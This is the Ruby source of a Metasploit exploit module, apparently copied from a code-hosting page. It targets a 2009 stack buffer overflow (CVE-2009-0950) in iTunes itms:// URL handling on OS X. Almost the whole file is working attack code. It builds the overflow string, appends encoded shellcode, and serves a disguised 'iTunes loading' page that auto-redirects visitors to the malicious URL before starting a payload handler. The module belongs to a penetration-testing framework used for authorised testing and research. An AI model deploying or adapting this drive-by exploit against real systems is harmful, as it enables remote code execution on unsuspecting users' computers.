Path: blob/master/modules/exploits/multi/browser/itms_overflow.rb
32071 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::HttpServer::HTML910# no popup required to visit itms:// URLs in Safari, so throw it in BAP11# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({13# :ua_name => HttpClients::SAFARI,14# :ua_maxver => "4.1",15# :ua_minver => "4.0.5",16# :javascript => false,17# :rank => NormalRanking,18# :os_name => OperatingSystems::MAC_OSX19# })2021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',26'Description' => %q{27This modules exploits a stack-based buffer overflow in iTunes28itms:// URL parsing. It is accessible from the browser and29in Safari, itms urls will be opened in iTunes automatically.30Because iTunes is multithreaded, only vfork-based payloads should31be used.32},33'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],34'License' => MSF_LICENSE,35'References' => [36[ 'CVE', '2009-0950' ],37[ 'OSVDB', '54833' ],38[ 'URL', 'http://support.apple.com/kb/HT3592' ],39[ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]40],41'Payload' => {42'Space' => 1024, # rough estimate of what browsers will pass.43'DisableNops' => true, # don't pad out the space.44'BadChars' => '',45# The encoder must be URL-safe otherwise it will be automatically46# URL encoded.47'EncoderType' => Msf::Encoder::Type::AlphanumMixed,48'EncoderOptions' =>49{50'BufferRegister' => 'ECX', # See the comments below51'BufferOffset' => 3 # See the comments below52}53},54'Targets' => [55[56'OS X',57{58'Platform' => [ 'osx' ],59'Arch' => ARCH_X86,60'Addr' => 'ATe'61},62]63],64'DisclosureDate' => '2009-06-01',65'DefaultTarget' => 0,66'Notes' => {67'Reliability' => UNKNOWN_RELIABILITY,68'Stability' => UNKNOWN_STABILITY,69'SideEffects' => UNKNOWN_SIDE_EFFECTS70}71)72)73end7475# Generate distribution script, which calls our payload using JavaScript.76def generate_itms_page(p)77# Set the base itms url.78# itms:// or itmss:// can be used. The trailing colon is used79# to start the attack. All data after the colon is copied to the80# stack buffer.81itms_base_url = 'itms://:'82itms_base_url << rand_text_alpha(268) # Fill up the real buffer83itms_base_url << rand_text_alpha(16) # $ebx, $esi, $edi, $ebp84itms_base_url << target['Addr'] # hullo there, jmp *%ecx!85# The first '/' in the buffer will terminate the copy to the stack buffer.86# In addition, $ecx will be left pointing to the last 6 bytes of the heap87# buffer containing the full URL. However, if a colon and a ? occur after88# the value in ecx will point to that point in the heap buffer. In our89# case, it will point to the beginning. The ! is there to make the90# alphanumeric shellcode execute easily. (This is why we need an offset91# of 3 in the payload).92itms_base_url << '/:!?' # Truncate the stack buffer overflow and prep for payload93itms_base_url << p # Wooooooo! Payload time.94# We drop on a few extra bytes as the last few bytes can sometimes be95# corrupted.96itms_base_url << rand_text_alpha(4)9798# Use the pattern creator to simplify exploit creation :)99# itms_base_url << Rex::Text.pattern_create(1024,100# Rex::Text::DefaultPatternSets)101102# Return back an example URL. Using an iframe doesn't work with all103# browsers, but that's easy enough to fix if you need to.104return String(<<~EOS)105<html>106<head>107<title>iTunes loading . . .</title>108<meta http-equiv="refresh" content="0; url='#{itms_base_url}'">109</head>110<body>111<p>iTunes should open automatically, but if it doesn't, click to112<a href="#{itms_base_url}">continue</a>.</p>113</body>114</html>115EOS116end117118def on_request_uri(cli, _request)119print_status('Generating payload...')120return unless (regenerate_payload(cli))121122# print_status("=> #{payload.encoded}")123print_status("=> #{payload.encoded.length} bytes")124125print_status('Generating HTML container...')126page = generate_itms_page(payload.encoded)127# print_status("=> #{page}")128print_status('Sending itms page')129130header = { 'Content-Type' => 'text/html' }131send_response_html(cli, page, header)132handler(cli)133end134end135136137